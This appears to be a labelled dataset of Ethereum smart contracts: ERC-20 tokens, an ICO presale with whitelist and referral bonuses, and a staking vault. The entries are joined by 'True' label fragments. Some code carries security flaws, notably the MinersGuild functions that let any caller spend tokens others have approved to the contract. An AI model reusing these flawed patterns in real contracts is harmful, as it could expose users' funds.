* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success);
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance (address _owner, address _spender) constant
returns (uint256 remaining);
/**
* Logged when tokens were transferred from one owner to another.
*
* @param _from address of the owner, tokens were transferred from
* @param _to address of the owner, tokens were transferred to
* @param _value number of tokens transferred
*/
event Transfer (address indexed _from, address indexed _to, uint256 _value);
/**
* Logged when owner approved his tokens to be transferred by some spender.
*
* @param _owner owner who approved his tokens to be transferred
* @param _spender spender who were allowed to transfer the tokens belonging
* to the owner
* @param _value number of tokens belonging to the owner, approved to be
* transferred by the spender
*/
event Approval (
address indexed _owner, address indexed _spender, uint256 _value);
}
/*
* Safe Math Smart Contract. Copyright © 2016–2017 by ABDK Consulting.
* Author: Mikhail Vladimirov <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="503d393b3831393c7e263c3134393d39223f2610373d31393c7e333f3d">[email protected]</a>>
*/
pragma solidity ^0.4.16;
/**
* Provides methods to safely add, subtract and multiply uint256 numbers.
*/
contract SafeMath {
uint256 constant private MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Add two uint256 values, throw in case of overflow.
*
* @param x first value to add
* @param y second value to add
* @return x + y
*/
function safeAdd (uint256 x, uint256 y)
constant internal
returns (uint256 z) {
assert (x <= MAX_UINT256 - y);
return x + y;
}
/**
* Subtract one uint256 value from another, throw in case of underflow.
*
* @param x value to subtract from
* @param y value to subtract
* @return x - y
*/
function safeSub (uint256 x, uint256 y)
constant internal
returns (uint256 z) {
assert (x >= y);
return x - y;
}
/**
* Multiply two uint256 values, throw in case of overflow.
*
* @param x first value to multiply
* @param y second value to multiply
* @return x * y
*/
function safeMul (uint256 x, uint256 y)
constant internal
returns (uint256 z) {
if (y == 0) return 0; // Prevent division by zero at the next line
assert (x <= MAX_UINT256 / y);
return x * y;
}
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf (address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value) returns (bool success) {
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
returns (bool success) {
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
allowances [_from][msg.sender] =
safeSub (allowances [_from][msg.sender], _value);
if (_value > 0 && _from != _to) {
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance (address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* PDPCoin token smart contract.
*/
contract PDPCointoken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
*/
uint256 constant MAX_TOKEN_COUNT =
0x0e0d1afcb6833daf6e0833af8a7727d2874dff8c;
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 500000000 *1 ether;
/**
* Create new PDPCoin token smart contract and make msg.sender the
* owner of this smart contract.
*/
function PDPCointoken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply () constant returns (uint256 supply) {
return tokenCount;
}
/**
* Get name of this token.
*
* @return name of this token
*/
function name () constant returns (string result) {
return "PDPCOIN TOKEN";
}
/**
* Get symbol of this token.
*
* @return symbol of this token
*/
function symbol () constant returns (string result) {
return "PDP";
}
/**
* Get number of decimals for this token.
*
* @return number of decimals for this token
*/
function decimals () constant returns (uint8 result) {
return 18;
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value) returns (bool success) {
return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
returns (bool success) {
return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance, this method
* receives assumed current allowance value as an argument. If actual
* allowance differs from an assumed one, this method just returns false.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _currentValue assumed number of tokens currently allowed to be
* transferred
* @param _newValue number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _currentValue, uint256 _newValue)
returns (bool success) {
if (allowance (msg.sender, _spender) == _currentValue)
return approve (_spender, _newValue);
else return false;
}
/**
* Burn given number of tokens belonging to message sender.
*
* @param _value number of tokens to burn
* @return true on success, false on error
*/
function burnTokens (uint256 _value) returns (bool success) {
if (_value > accounts [msg.sender]) return false;
else if (_value > 0) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
tokenCount = safeSub (tokenCount, _value);
return true;
} else return true;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner (address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
} | True | [
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pragma solidity 0.4.20;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title StarCoin
*
* @dev Burnable Ownable ERC20 token
*/
contract StarCoin is MintableToken {
string public constant name = "StarCoin";
string public constant symbol = "STAR";
uint8 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 40000000 * 1 ether; //40M tokens accroding to https://starflow.com/ico/
uint public constant MAXIMUM_SUPPLY = 100000000 * 1 ether; // 100M tokens is maximum according to https://starflow.com/ico/
/* The finalizer contract that allows unlift the transfer limits on this token */
address public releaseAgent;
/** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false;
/** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
/**
* Limit token transfer until the crowdsale is over.
*
*/
modifier canTransfer(address _sender) {
require(released || transferAgents[_sender]);
_;
}
/** The function can be called only before or after the tokens have been released */
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
/** Restrict minting by the MAXIMUM_SUPPLY allowed **/
modifier bellowMaximumSupply(uint _amount) {
require(_amount + totalSupply_ < MAXIMUM_SUPPLY);
_;
}
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function StarCoin() {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
/**
* Set the contract that can call release and make the token transferable.
*
* Design choice. Allow reset the release agent to fix fat finger mistakes.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
// We don't do interface check here as we might want to a normal wallet address to act as a release agent
releaseAgent = addr;
}
function release() onlyReleaseAgent inReleaseState(false) public {
released = true;
}
/**
* Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
transferAgents[addr] = state;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
// Call Burnable.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call Burnable.transferForm()
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint _amount) onlyOwner canMint bellowMaximumSupply(_amount) public returns (bool) {
return super.mint(_to, _amount);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
return super.finishMinting();
}
}
contract InvestorWhiteList is Ownable {
mapping (address => bool) public investorWhiteList;
mapping (address => address) public referralList;
function InvestorWhiteList() {
}
function addInvestorToWhiteList(address investor) external onlyOwner {
require(investor != 0x0 && !investorWhiteList[investor]);
investorWhiteList[investor] = true;
}
function removeInvestorFromWhiteList(address investor) external onlyOwner {
require(investor != 0x0 && investorWhiteList[investor]);
investorWhiteList[investor] = false;
}
//when new user will contribute ICO contract will automatically send bonus to referral
function addReferralOf(address investor, address referral) external onlyOwner {
require(investor != 0x0 && referral != 0x0 && referralList[investor] == 0x0 && investor != referral);
referralList[investor] = referral;
}
function isAllowed(address investor) constant external returns (bool result) {
return investorWhiteList[investor];
}
function getReferralOf(address investor) constant external returns (address result) {
return referralList[investor];
}
}
contract StarCoinPreSale is Pausable {
using SafeMath for uint;
string public constant name = "StarCoin Token ICO";
StarCoin public token;
address public beneficiary;
InvestorWhiteList public investorWhiteList;
uint public starEthRate;
uint public hardCap;
uint public softCap;
uint public collected = 0;
uint public tokensSold = 0;
uint public weiRefunded = 0;
uint public startBlock;
uint public endBlock;
bool public softCapReached = false;
bool public crowdsaleFinished = false;
mapping (address => uint) public deposited;
uint constant VOLUME_20_REF_7 = 5000 ether;
uint constant VOLUME_15_REF_6 = 2000 ether;
uint constant VOLUME_12d5_REF_5d5 = 1000 ether;
uint constant VOLUME_10_REF_5 = 500 ether;
uint constant VOLUME_7_REF_4 = 250 ether;
uint constant VOLUME_5_REF_3 = 100 ether;
event SoftCapReached(uint softCap);
event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount);
event NewReferralTransfer(address indexed investor, address indexed referral, uint tokenAmount);
event Refunded(address indexed holder, uint amount);
modifier icoActive() {
require(block.number >= startBlock && block.number < endBlock);
_;
}
modifier icoEnded() {
require(block.number >= endBlock);
_;
}
modifier minInvestment() {
require(msg.value >= 0.1 * 1 ether);
_;
}
modifier inWhiteList() {
require(investorWhiteList.isAllowed(msg.sender));
_;
}
function StarCoinPreSale(
uint _hardCapSTAR,
uint _softCapSTAR,
address _token,
address _beneficiary,
address _investorWhiteList,
uint _baseStarEthPrice,
uint _startBlock,
uint _endBlock
) {
hardCap = _hardCapSTAR.mul(1 ether);
softCap = _softCapSTAR.mul(1 ether);
token = StarCoin(_token);
beneficiary = _beneficiary;
investorWhiteList = InvestorWhiteList(_investorWhiteList);
startBlock = _startBlock;
endBlock = _endBlock;
starEthRate = _baseStarEthPrice;
}
function() payable minInvestment inWhiteList {
doPurchase();
}
function refund() external icoEnded {
require(softCapReached == false);
require(deposited[msg.sender] > 0);
uint refund = deposited[msg.sender];
deposited[msg.sender] = 0;
msg.sender.transfer(refund);
weiRefunded = weiRefunded.add(refund);
Refunded(msg.sender, refund);
}
function withdraw() external onlyOwner {
require(softCapReached);
beneficiary.transfer(collected);
token.transfer(beneficiary, token.balanceOf(this));
crowdsaleFinished = true;
}
function calculateBonus(uint tokens) internal constant returns (uint bonus) {
if (msg.value >= VOLUME_20_REF_7) {
return tokens.mul(20).div(100);
}
if (msg.value >= VOLUME_15_REF_6) {
return tokens.mul(15).div(100);
}
if (msg.value >= VOLUME_12d5_REF_5d5) {
return tokens.mul(125).div(1000);
}
if (msg.value >= VOLUME_10_REF_5) {
return tokens.mul(10).div(100);
}
if (msg.value >= VOLUME_7_REF_4) {
return tokens.mul(7).div(100);
}
if (msg.value >= VOLUME_5_REF_3) {
return tokens.mul(5).div(100);
}
return 0;
}
function calculateReferralBonus(uint tokens) internal constant returns (uint bonus) {
if (msg.value >= VOLUME_20_REF_7) {
return tokens.mul(7).div(100);
}
if (msg.value >= VOLUME_15_REF_6) {
return tokens.mul(6).div(100);
}
if (msg.value >= VOLUME_12d5_REF_5d5) {
return tokens.mul(55).div(1000);
}
if (msg.value >= VOLUME_10_REF_5) {
return tokens.mul(5).div(100);
}
if (msg.value >= VOLUME_7_REF_4) {
return tokens.mul(4).div(100);
}
if (msg.value >= VOLUME_5_REF_3) {
return tokens.mul(3).div(100);
}
return 0;
}
function setNewWhiteList(address newWhiteList) external onlyOwner {
require(newWhiteList != 0x0);
investorWhiteList = InvestorWhiteList(newWhiteList);
}
function doPurchase() private icoActive whenNotPaused {
require(!crowdsaleFinished);
uint tokens = msg.value.mul(starEthRate);
uint referralBonus = calculateReferralBonus(tokens);
address referral = investorWhiteList.getReferralOf(msg.sender);
tokens = tokens.add(calculateBonus(tokens));
uint newTokensSold = tokensSold.add(tokens);
if (referralBonus > 0 && referral != 0x0) {
newTokensSold = newTokensSold.add(referralBonus);
}
require(newTokensSold <= hardCap);
if (!softCapReached && newTokensSold >= softCap) {
softCapReached = true;
SoftCapReached(softCap);
}
collected = collected.add(msg.value);
tokensSold = newTokensSold;
deposited[msg.sender] = deposited[msg.sender].add(msg.value);
token.transfer(msg.sender, tokens);
NewContribution(msg.sender, tokens, msg.value);
if (referralBonus > 0 && referral != 0x0) {
token.transfer(referral, referralBonus);
NewReferralTransfer(msg.sender, referral, referralBonus);
}
}
function transferOwnership(address newOwner) onlyOwner icoEnded {
super.transferOwnership(newOwner);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-15
*/
pragma solidity ^0.8.0;
/*
⛏️ Miners Guild ⛏️
DAO for community-based donations
Donate to depositors of this contract by sending ERC20 tokens directly to the contract address.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface MintableERC20 {
function mint(address account, uint256 amount) external ;
function burn(address account, uint256 amount) external ;
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public virtual;
}
/**
*
*
* Staking contract that supports community-extractable donations
*
*/
contract MinersGuild is
ApproveAndCallFallBack
{
address public _stakeableCurrency;
address public _reservePoolToken;
event Donation(address from, uint256 amount);
constructor( address stakeableCurrency, address reservePoolToken )
{
_stakeableCurrency = stakeableCurrency;
_reservePoolToken = reservePoolToken;
}
function donateCurrency(address from, uint256 currencyAmount) public returns (bool){
require( IERC20(_stakeableCurrency).transferFrom(from, address(this), currencyAmount ), 'transfer failed' );
emit Donation(from,currencyAmount);
return true;
}
function stakeCurrency( address from, uint256 currencyAmount ) public returns (bool){
uint256 reserveTokensMinted = _reserveTokensMinted( currencyAmount) ;
require( IERC20(_stakeableCurrency).transferFrom(from, address(this), currencyAmount ), 'transfer failed' );
MintableERC20(_reservePoolToken).mint(from, reserveTokensMinted) ;
return true;
}
function unstakeCurrency( uint256 reserveTokenAmount, address currencyToClaim) public returns (bool){
uint256 vaultOutputAmount = _vaultOutputAmount( reserveTokenAmount, currencyToClaim );
MintableERC20(_reservePoolToken).burn(msg.sender, reserveTokenAmount );
IERC20(currencyToClaim).transfer( msg.sender, vaultOutputAmount );
return true;
}
//amount of reserve tokens to give to staker
function _reserveTokensMinted( uint256 currencyAmount ) public view returns (uint){
uint256 totalReserveTokens = IERC20(_reservePoolToken).totalSupply();
uint256 internalVaultBalance = IERC20(_stakeableCurrency).balanceOf(address(this));
if(totalReserveTokens == 0 || internalVaultBalance == 0 ){
return currencyAmount;
}
uint256 incomingTokenRatio = (currencyAmount*100000000) / internalVaultBalance;
return ( ( totalReserveTokens) * incomingTokenRatio) / 100000000;
}
//amount of output tokens to give to redeemer
function _vaultOutputAmount( uint256 reserveTokenAmount, address currencyToClaim ) public view returns (uint){
uint256 internalVaultBalance = IERC20(currencyToClaim ).balanceOf(address(this));
uint256 totalReserveTokens = IERC20(_reservePoolToken).totalSupply();
uint256 burnedTokenRatio = (reserveTokenAmount*100000000) / totalReserveTokens ;
return (internalVaultBalance * burnedTokenRatio) / 100000000;
}
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public override{
require(token == _stakeableCurrency);
stakeCurrency(from, tokens);
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
fallback() external payable { revert(); }
receive() external payable { revert(); }
} | True | [
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] | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
pragma solidity ^0.7.4;
// SPDX-License-Identifier: CC-BY-4.0
contract TheBrightBroadcast{
string public constant name = "TheBrightBroadcast";
string public constant symbol = "TBB";
uint8 public constant decimals = 18;
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Transfer(address indexed from, address indexed to, uint tokens);
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
uint256 totalSupply_;
using SafeMath for uint256;
constructor(uint256 total) {
totalSupply_ = total;
balances[msg.sender] = totalSupply_;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address tokenOwner) public view returns (uint) {
return balances[tokenOwner];
}
function transfer(address receiver, uint numTokens) public returns (bool) {
require(numTokens <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(numTokens);
balances[receiver] = balances[receiver].add(numTokens);
emit Transfer(msg.sender, receiver, numTokens);
return true;
}
function approve(address delegate, uint numTokens) public returns (bool) {
allowed[msg.sender][delegate] = numTokens;
Approval(msg.sender, delegate, numTokens);
return true;
}
function allowance(address owner, address delegate) public view returns (uint) {
return allowed[owner][delegate];
}
function transferFrom(address owner, address buyer, uint numTokens) public returns (bool) {
require(numTokens <= balances[owner]);
require(numTokens <= allowed[owner][msg.sender]);
balances[owner] = balances[owner].sub(numTokens);
allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);
balances[buyer] = balances[buyer].add(numTokens);
Transfer(owner, buyer, numTokens);
return true;
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
/**
*
*
*/
/**
*
*
*/
/**
*
*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
